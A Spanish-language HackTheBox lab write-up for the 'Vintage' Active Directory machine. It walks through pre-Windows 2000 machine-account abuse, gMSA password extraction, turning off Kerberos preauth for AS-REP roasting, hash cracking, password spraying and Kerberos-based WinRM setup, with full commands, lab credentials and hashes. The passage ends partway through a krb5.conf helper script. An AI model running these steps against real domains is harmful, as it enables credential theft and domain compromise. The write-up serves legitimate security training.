Vintage – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Vintage” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Esta máquina nos enseña cómo obtener hashes para viejas máquinas de legado/legacy en dominios de Active Directory, las cuales pueden ser usadas para moverse lateralmente en el dominio. Adicionalmente, aprendemos a habilitar cuentas deshabilitadas (teniendo los permisos correspondientes), aprovecharnos de DPAPI
para obtener credenciales y cambiar permisos a cuentas de servicio para realizar un ataque Constrained Delegation
y así pedir un ticket de Kerberos
en nombre de un usuario privilegiado.
User / Usuario Link to heading
Vintage
con las siguientes credenciales: P.Rosa
/ Rosaisbest123
Empezando con un escaneo con Nmap
muestra múltiples puertos abiertos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
); entre otros:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49681,62654 10.10.11.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 00:37 -03
Nmap scan report for 10.10.11.45
Host is up (0.43s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-11 03:37:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
62654/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-11T03:38:24
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.75 seconds
Primero, revisamos información del servicio SMB
utilizando las credenciales dadas junto con NetExec
:
❯ nxc smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'
SMB 10.10.11.45 445 10.10.11.45 [*] x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB 10.10.11.45 445 10.10.11.45 [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
Obtenemos un error: STATUS_NOT_SUPPORTED
. Revisando la documentación de Microsoft acerca de este error nos dice que, en esencia, el servidor no es capaz de entender o procesar el tipo de información que el cliente está pidiendo.
Si pasamos estas credenciales nuevamente con NetExec
, pero esta vez utilizando el servicio LDAP
para obtener más información:
❯ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'
LDAP 10.10.11.45 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.45 389 dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
Obtenemos un dominio vintage.htb
, un nombre de máquina dc01
y un FQDN
dc01.vintage.htb
.
Agregamos dc01
, dc01.vintage.htb
y vintage.htb
, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.45 dc01 dc01.vintage.htb vintage.htb' | sudo tee -a /etc/hosts
Dado que no tenemos claras respuestas desde los servicios SMB
o LDAP
, usemos Kerberos
. Para esto, solicitemos un ticket (Ticket-Granting Ticket
, o TGT
) para el usuario P.Rosa
usando las credenciales dadas junto con getTGT.py
de Impacket
:
❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
Usemos este ticket para autenticarnos usando NetExec
. Para esto, dado que el ticket almacena el nombre del dominio, usamos el FQDN
como la IP del dominio:
❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
Funcionó. Por lo que nos podemos autenticar a través de Kerberos
.
Ahora somos capaces de ver, por ejemplo, recursos (disponibles) en el sistema:
❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb --shares
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
SMB dc01.vintage.htb 445 dc01 [*] Enumerated shares
SMB dc01.vintage.htb 445 dc01 Share Permissions Remark
SMB dc01.vintage.htb 445 dc01 ----- ----------- ------
SMB dc01.vintage.htb 445 dc01 ADMIN$ Remote Admin
SMB dc01.vintage.htb 445 dc01 C$ Default share
SMB dc01.vintage.htb 445 dc01 IPC$ READ Remote IPC
SMB dc01.vintage.htb 445 dc01 NETLOGON READ Logon server share
SMB dc01.vintage.htb 445 dc01 SYSVOL READ Logon server share
Esto también funciona para el servicio LDAP
:
❯ KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\P.Rosa from ccache
Ya en este punto, usemos este servicio para obtener información acerca del entorno Active Directory
usando bloodhound-python
y el ticket obtenido para P.Rosa
:
❯ KRB5CCNAME=P.Rosa.ccache bloodhound-python -c ALL -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -k
INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 59S
Del output podemos ver que el mapeo está tratando de resolver a FS01.vintage.htb
. Por lo que presumimos que es otra máquina en el dominio.
Para revisar si esta máquina realmente existe en el dominio es que podemos usar Kerbrute
para ver si realmente existen. Primero, creamos una simple lista de un par de usuarios (uno claramente inexistente y uno que queremos saber que existe, para evadir falsos positivos):
❯ echo -n 'nonvalid$\nFS01$' > potential_machines.txt
❯ cat potential_machines.txt
nonvalid$
FS01$
Y usamos Kerbrute
para ver si la cuenta existe:
❯ kerbrute userenum -d vintage.htb --dc dc01.vintage.htb ./potential_machines.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop
2024/12/11 01:19:39 > Using KDC(s):
2024/12/11 01:19:39 > dc01.vintage.htb:88
2024/12/11 01:19:40 > [+] VALID USERNAME: FS01$@vintage.htb
2024/12/11 01:19:40 > Done! Tested 2 usernames (1 valid) in 0.519 seconds
La máquina FS01$
realmente existe. Debemos mantener esto en mente ya que, si ganamos accesso a la máquina dc01
, podemos obtener la IP de esta máquina en caso de ser neesario.
Hora de Bloodhound
. Subimos todos los archivos .json
generados por bloodhound-python
en Bloodhound
(en mi caso usaré la Community Edition
, o CE
). El usuario P.Rosa
no parece tener privilegios sobre otros usuarios en el dominio.
No obstante, si buscamos por la cuenta de máquina FS01$
obtenemos algo:
Este computador/máquina, más allá de ser miembro del grupo Domain Computers
, también es parte del grupo Pre-Windows 2000 Compatible Access
. Este grupo, a su vez, nos da una descripción: A backward compatibility group which allows read access on all users and groups in the domain
. Buscando un poco acerca de este grupo llegamos a este blog donde dan más detalles acerca de este grupo y sus potenciales riesgos. En resumen, este grupo fue diseñado para ser compatible con Windows NT
(el cual es una versión viejísima de Windows
), y, por ende, nos da permisos de lectura absoluto sobre sus miembros para evitar problemas de compatibilidad. Dado que tenemos permisos de lectura absolutos sobre este usuario, podemos tratar de leer su hash NT
o contraseña.
Adicionalmente, FS01$
tiene permisos ReadGMSAPassword
sobre la cuenta group Service Managed Accounts
(o gMSA
) llamada GMSA01$
, lo cual significa que podemos ser capaz se extraer su hash NT
. Para aquellos que no lo sepan, las cuentas gMSA
son cuentas de servicio (como la típica cuenta de servicio SQL
llamada svc_sql
), pero tienen contraseñas rotativas y bastante robustas las cuales son más fáciles de administrar que las cuentas de servicio tradicionales.
Pero seguimos requiriendo de las credenciales para FS01$
. Buscando un poco, encontramos una herramienta llamada pre2k-TS
, la cual puede ser obtenida desde su repositorio de Github, escrita en Python
. La clonamos, creamos un entorno virtual en el repositorio, instalamos las librerías requeridas y pasamos un archivo el cual contenga la palabra/string FS01$
:
❯ git clone https://github.com/garrettfoster13/pre2k-TS.git -q
❯ cd pre2k-TS
❯ python3 -m venv .venv_pre2k
❯ source .venv_pre2k/bin/activate
❯ pip3 install -r requirements.txt
❯ echo 'FS01$' > pre2k_machine.txt
❯ python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -input pre2k_machine.txt -save
___ __ __
/'___`\ /\ \ /\ \__
_____ _ __ __ /\_\ /\ \\ \ \/'\ \ \ ,_\ ____
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , < _______\ \ \/ /',__\
\ \ \L\ \ \ \//\ __//\______\ // /_\ \\ \ \\`\ /\______\\ \ \_/\__, `\
\ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/
\ \ \/ \/_/ \/____/ \/_____/ \/_/\/_/ \/__/\/___/
\ \_\
\/_/ @garrfoster
Reading from pre2k_machine.txt...
Testing started at 2024-12-11 03:01:10.864261
Saving ticket in FS01$.ccache
[+] VALID CREDENTIALS: vintage.htb\FS01$:fs01
Tenemos credenciales: FS01$:fs01
; además de un TGT
llamado FS01$.ccache
.
Opcionalmente, podemos obtener el ticket de Kerberos
, o TGT, usando
impacket-getTGT` con la contraseña hallada:
❯ impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in FS01$.ccache
Revisamos si este ticket funciona usando NetExec
:
❯ KRB5CCNAME=FS01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\FS01$ from ccache
Para obtener el hash de GMSA01$
podemos usar NetExec
y su flag --gmsa
para el servicio LDAP
:
❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\FS01$ from ccache
❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb --gmsa
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] LDAPs connection to ldaps://dc01.vintage.htb failed - (104, 'ECONNRESET')
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] Even if the port is open, LDAPS may not be configured
Pero obtenemos algunos errores.
Por ende, podemos tratar de realizar esta misma acción utilizando la herramienta bloodyAD
(fácilmente instalable con pip3 install bloodyAD
) siguiendo las instrucciones de TheHackerRecipes:
❯ KRB5CCNAME=FS01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==
Obtenemos un hash NTLM
para la cuenta GMSA01$
.
Tal cual hemos visto, esta máquina no acepta directamente usuario/contraseña, pero sí tickets de Kerberos
. Como ya hicimos antes, solicitamos un ticket de Kerberos
para el usuario GMSA01$
con la herramienta impacket-getTGT
:
❯ impacket-getTGT vintage.htb/'GMSA01$' -hashes ':a317f224b45046c1446372c4dc06ae53' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
Y revisamos, nuevamente, que este ticket funcione:
❯ KRB5CCNAME=GMSA01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\GMSA01$ from ccache
De vuelta a Bloodhound
vemos qué es lo nuevo que puede realizar esta cuenta:
Tiene los permisos AddSelf
y GenericWrite
sobre el grupo ServiceManagers
. Por tanto, podríamos agregar nuestro primer usuario P.Rosa
a este grupo.
Pero antes, miramos qué es lo que el grupo ServiceManagers
puede hacer sobre otros usuario (y vemos si vale la pena agregar al usuario P.Rosa
a aquel grupo):
Los miembros del grupo ServiceManagers
tienen permisos GenericAll
sobre las cuentas de servicio svc_ark
, svc_sql
y svc_ldap
. Con esto podríamos cambiar la contraseña de estas cuentas, solicitar sus hashes NT
a través de un ataque Shadow Credentials
o tratar de hacer estos usuarios Kerberosteables
(para luego tratar de obtener sus hashes y crackearlos).
Dado que bloodyAD
funcionó perfectamente con los tickets, usamos esta herramienta para agregar al usuario P.Rosa
como miembro del grupo ServiceManager
:
❯ KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'ServiceManagers' 'P.Rosa'
[+] P.Rosa added to ServiceManagers
Personalmente no recomiendo cambiar contraseñas, especialmente si son de cuentas de servicio (dado que, en un pentesting real, podríamos interrumpir un servicio). Por lo que podemos tratar de performar un ataque Shadow Credentials
y, de no funcionar esto, hacer estos usuarios Kerberosteables
. Para un Shadow Credentials
, usamos y clonamos PyWhisker
, instalando todas sus dependencias en un entorno virtual, usando un viejo commit de éste (dado que luego de algunos updates esta herramienta no funciona tan bien) y lo ejecutamos:
❯ git clone https://github.com/ShutdownRepo/pywhisker.git
<SNIP>
❯ cd pywhisker
❯ git checkout ec30ba5
Note: switching to 'ec30ba5'.
<SNIP>
❯ python3 -m venv .venv_pywhisker
❯ source .venv_pywhisker/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
❯ KRB5CCNAME=P.Rosa.ccache python3 pywhisker.py -d vintage.htb --dc-ip dc01.vintage.htb -u 'P.Rosa' -k --target 'svc_sql' --action 'add'
[!] Error while anonymous logging into vintage.htb
Pero obtenemos un error similar en LDAP
similar al obtenido previamente con NetExec
(el cual podemos ver usando la flag -v
en PyWhisker
).
Por lo que vamos por la segunda opción, tratemos de hacer estos objetivos Kerbrosteables
usando bloodyAD
siguiendo estos pasos. Primero, necesitamos solicitar un nuevo TGT
como el usuario P.Rosa
luego de agregar a este usuario al grupo ServiceManagers
; esto porque al solicitar un nuevo ticket, este ticket vendrá “actualizado” con el usuario P.Rosa
siendo usuario del grupo ServiceManagers
. Si usamos el viejo ticket esto no funcionará dado que el viejo ticket lo solicitamos cuando P.Rosa
todavía no era miembro de aquel grupo. Solicitamos este TGT
“actualizado” usando impacket-getTGT
nuevamente:
❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
Tratamos de hacer las 3 cuentas de servicio disponibles Kerberosteables
con bloodyAD
en un oneliner de Bash
:
❯ for service in {ark,sql,ldap}; do echo "[+] Attempting with svc_$service"; KRB5CCNAME=./P.Rosa.ccache bloodyAD -d vintage.htb -k --host dc01.vintage.htb add uac "svc_$service" -f DONT_REQ_PREAUTH; done
[+] Attempting with svc_ark
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
[+] Attempting with svc_sql
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
[+] Attempting with svc_ldap
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl
Guardamos los 3 usuarios objetivos en un archivo:
❯ echo -e 'svc_ark\nsvc_sql\nsvc_ldap' > svc_accounts.txt
❯ cat svc_accounts.txt
svc_ark
svc_sql
svc_ldap
Luego, usamos GetNPUsers.py
de Impacket
para solicitar hashes de estas cuentas:
❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc_ark@VINTAGE.HTB:851d22f6b1f287a72b214849a72f8f46$8a50aa850d7308d6395263f38eb6055edb7183497cf2efb3b1ae36519e78afe32d62237d5a4082bb46b1c1e6c6f91c9411a068a699af45812704edc1c96e089d8480dade56b2c51591464b0c35c7e6e765dc4383fb10b1deec223694148d250e8b015cfb109f28b85ae8aec3a489bbda22a9e0dcc8905cc11a15ec144cc2aa351422da6c01b9fe547e4b0443c83a799e9dda729dd51996a4de10a427cffb273fd9e9b61ce3a766c0a2c46426ff9df9de57e7dc24c36b7de72aabbca5b8ae2d724e4c3f22fc1f971a0056c6d83ec78f5845ccd6f467a34e85911bc28ec2c0761ac139b3ae5c0f207f3203
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc_ldap@VINTAGE.HTB:de181c54e1f1fa909b445dfafe21c00b$ba8f456c051f20a08d01c43d4a03834c772b69410e79acc9040a30be30fdcaa860052fedc9c0c00bba53dcbfa85f86441916057cfad0fa62ae5336895c9603b9825a129de10d22c97cd4103376e1c0c99138608a73fc4c03dcd6d5036f763771994c7f128e69d79fd8d30ca9d0a5a774b19b48c433a3290672e06b75e5b0739cfe1a22851f5752910a2c2b7aa586a7776577c2714b53dbc9f7a2df53937555cb35a0ad6342f739427d44f893ad80fd57fcdcf3a275fc820790ba5031890f81c4172a5894f1ca93754b1208375d49bab0cea9c79b51fd0dc6ffe7f450b10494bcf0333607e15ed619d4f7
Esto funcionó para 2 de los 3 usuarios; no funcionó para la cuenta svc_sql
.
Buscando por el error KDC_ERR_CLIENT_REVOKED
nos lleva a esta página. Allí se indica que esto puede deberse a que la cuenta esté deshabilitada, bloqueada o expirada. Podríamos tratar de habilitarla nuevamente, puesto que tenemos los permisos GenericWrite
sobre svc_sql
(la cuenta que da error) y tratar de editar sus permisos AD DCL
con bloodyAD
:
❯ KRB5CCNAME=./P.Rosa.ccache bloodyAD --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl
Volvemos a correr impacket-GetNPUsers
y esta vez obtenemos los hashes para las 3 cuentas:
❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc_ark@VINTAGE.HTB:77b89b0796c4903b9f1226fa7355c11d$d9851d61d3302b76e97275a1dfaf9b594fa911fd27a7d644e650718efd8a87a0e6df6f3baaf960a41a5d9bbaae857670c9c3facf310b6c7fe62438be1aaf8fd6908db4ace4807dc8fac229f4ac8dbcf3d7580e89a8abf82799260fc776f3872a6b2c3e31c5e604785d06553e9ae9cbb5cf6ffe7bd8877bc621fba4ac663b1a17b4d850a64a666e021a60931b96e55a35baa3e1833a5a01391f6b587df2a16a3828210cbdb0777fa1f93a7cb36002028a8726cfd40cafd8efc1d7ff8612875611676b4d7c8abe753ac7d1161059a916fea66204b0586450316b7aecdc33ff964ae45eeb221a5956b29a48
$krb5asrep$23$svc_sql@VINTAGE.HTB:fe9803f611a9551b6badcf401804687b$d13bcf4afdfd461c5399e8b72d0a5a5fcde2d1338a74d7be2fc23b938a7c3fecdcdba19f8032dfa39d758d8b0e0a05d80006195ea57a7bfd26ae6651c6522e9f764b214ec13a7d9e1ce02cf953419487e81c400722843011797ee4d4d6b2e9b701bfd4624b3473d556daabb737d24ca6cb28724f55ccd3cb18f0f2799e7dba3179ac8450dbf382668bf8b5a48061164884958783a8da2fefc2fefb45487509b807fd32a58dbec552174c9eed3b6edb54e06ad003350c994235709dc6e0ade45b6100b4ef1af3d8ffd5c668088b0d06824784754ff069bf109404a9ccd57cf0193ad3784028be5c560657
$krb5asrep$23$svc_ldap@VINTAGE.HTB:b76171b08ab5c02b5320b8fdf22e9f11$637d5c01fb8687faf076e35b2be71bc4c849c085390000dec28840826de2ccf3b25aa20c11fea0e2228a8bdaedf1c058873ea376a5a17f5065f734426500796672cf22ec1ee5b3519f4ba9583d400cb4f542ae3ef5733854b706c39a8be4bcaa2e0984e8a9d218a9cc449bf85eb66f039b935a149e2175f594729da41b3702d5cddc86bf2bc3a7cfcbb933d2d43dd79d7ca9147876138f271e42ace111d2baeb17d7eb91712bc7f3a4c712826552ea8b080d76e2ec18b948be74831a3d4379d047f1b3e3858a12419f91746493d732179d28e8a111026aeccfda5132cb974254c293bce9df1255c97072
Tratamos de crackear estos hashes a través de un Brute Force Password Cracking
usando la herramienta john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt svc_acc_hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:02:28 DONE (2024-12-11 04:49) 0.006718g/s 96370p/s 199723c/s 199723C/s 0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontramos credenciales para la cuenta svc_sql
: svc_sql:Zer0the0ne
.
Volvemos a a Bloodhound
y revisamos si este usuario tiene algún permiso interesante:
Pero no podemos ver permisos sobre otros usuarios y/o grupos.
Quizás esta contraseña hallada está siendo utilizada por otros usuarios en el dominio. Podemos usar el ticket de cualquier usuario (por ejemplo, P.Rose
) en NetExec
para obtener todos los usuarios disponibles usando la flag --rid-brute
para el servicio SMB
y los guardamos en un archivo:
❯ KRB5CCNAME=./P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache --rid-brute | grep 'User' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt
❯ cat domain_users.txt
Administrator
Guest
krbtgt
Domain
Protected
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
Ahora, podemos tratar un Password Spray
contra estos usuarios usando la contraseña del servicio svc_sql
. El “problema” yace en que sólo podemos usar Kerberos
. Por lo que podemos usar Kerbrute
y su comando passwordspray
para perpetrar esta acción:
❯ kerbrute passwordspray domain_users.txt 'Zer0the0ne' -d vintage.htb --dc dc01.vintage.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop
2024/12/11 05:03:11 > Using KDC(s):
2024/12/11 05:03:11 > dc01.vintage.htb:88
2024/12/11 05:03:13 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
2024/12/11 05:03:13 > Done! Tested 19 logins (1 successes) in 1.881 seconds
Tenemos nuevas credenciales: C.Neri@vintage.htb:Zer0the0ne
Solicitamos un TGT
para este usuario:
❯ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri.ccache
❯ KRB5CCNAME=./C.Neri.ccache nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\C.Neri from ccache
Como podemos ver en Bloodhound
, este usuario es parte de los grupos ServiceManagers
y Remote Management Users
, por lo que podemos usar este usuario para acceder a la máquina víctima a través del servicio WinRM
:
Podemos tratar entonces de utilizar evil-winrm
junto con la flag -r
(ver la documentación de esta herramienta para más información) para utilizar el ticket del usuario C.Neri
. Pero necesitamos retocar algunas cosas para ello. Por este motivo creé un script en Python
el cual crea una copia del archivo /etc/krb5.conf
(el cual necesitamos retocar para loguearnos con evil-winrm
usando un ticket de Kerberos
) y luego crea un archivo basados en el nombre del dominio y el Domain Controller
:
#!/usr/bin/python3
# This script creates a copy/backup of '/etc/krb5.conf' file and then overwrites it
# based on a domain name and a machine name.
# For example: python3 evil-winrm_kerberos.py domain.local dc01
# REQUIRES ROOT since it is overwriting a file at '/etc' path.
import os
import sys
import argparse
import re
import shutil
def create_config_file(domain: str, dc: str) -> str:
"""
Creates text for /etc/krb5.conf file
:param domain: Domain to write and connect with evil-winrm
:param dc: Domain Controller machine name
"""
text_to_write = f"""
[libdefaults]
default_realm = {domain.upper()}
[realms]
{domain.upper()} = {{
kdc = {dc.lower()}.{domain.lower()}
admin_server = {dc.lower()}.{domain.lower()}
}}
[domain_realm]
{domain.lower()} = {domain.upper()}
.{domain.lower()} = {domain.upper()}
"""
return text_to_write
def copy_file(source_path, destination_path):
"""
Copies a file from source_path to destination_path.
:param source_path: The path of the file to be copied.
:param destination_path: The path where the file should be copied to.
"""
try:
if os.path.exists(destination_path):
print(f"[!] Error: The backup file '{destination_path}' already exists. Check you are not overwriting an old backup that can be important or delete that file and retry.")
sys.exit(1)
shutil.copy(source_path, destination_path)
print(f"[+] Backup created at {destination_path!r}.")
except FileNotFoundError:
print(f"[!] Error: The source file '{source_path}' does not exist.")
except PermissionError:
print(f"[!] Error: Permission denied when accessing '{destination_path}'.")
except Exception as e:
print(f"[!] An unexpected error occurred: {e}")
def ask_user(question: str)->bool:
"""
Ask yes/no to a user to continue
:param question: Question... :D
"""
print(f"[?] {question} ", end='')
user_input: str = str(input("[Y]es/[No]: ").strip())
positive_pattern: re.Pattern = re.compile(r'^(y|ye|yes)$', re.IGNORECASE)
negative_pattern: re.Pattern = re.compile(r'^(n|no)$', re.IGNORECASE)
if positive_pattern.match(user_input):
return True
if negative_pattern.match(user_input):
return False
print("[-] It wasn't so hard. It was just 'yes' or 'no'... So I am taking that as a no.")
return False
def check_being_exec_as_root():
"""
Check if the script is being executed as root
"""
if os.geteuid() != 0:
print(f"[!] This script must be executed as 'root'. Read the source code if you don't trust me.")
print(f" Please run: sudo python3 {' '.join(sys.argv)}")
sys.exit(1)
def get_user_arguments()->argparse.Namespace:
# Create an ArgumentParser object
parser = argparse.ArgumentParser(description="Configure krb5.conf for evil-winrm")
# Add a positional argument
parser.add_argument("domain", help="Domain Name. Example: vintage.htb")
parser.add_argument("dc", help="Domain Controller Name: Example: dc01")
# Return the parsed arguments
return parser.parse_args()
def modify_file(args: argparse.Namespace, data_to_write: str,
krb5_conf_file: str = '/etc/krb5.conf', backup_file='/etc/backup_krb5.conf'):
# Show the text that will be written
print(f"[+] The following data/text will be OVERWRITTEN at {krb5_conf_file!r}:\n{data_to_write}")
# Ask the user before proceeding
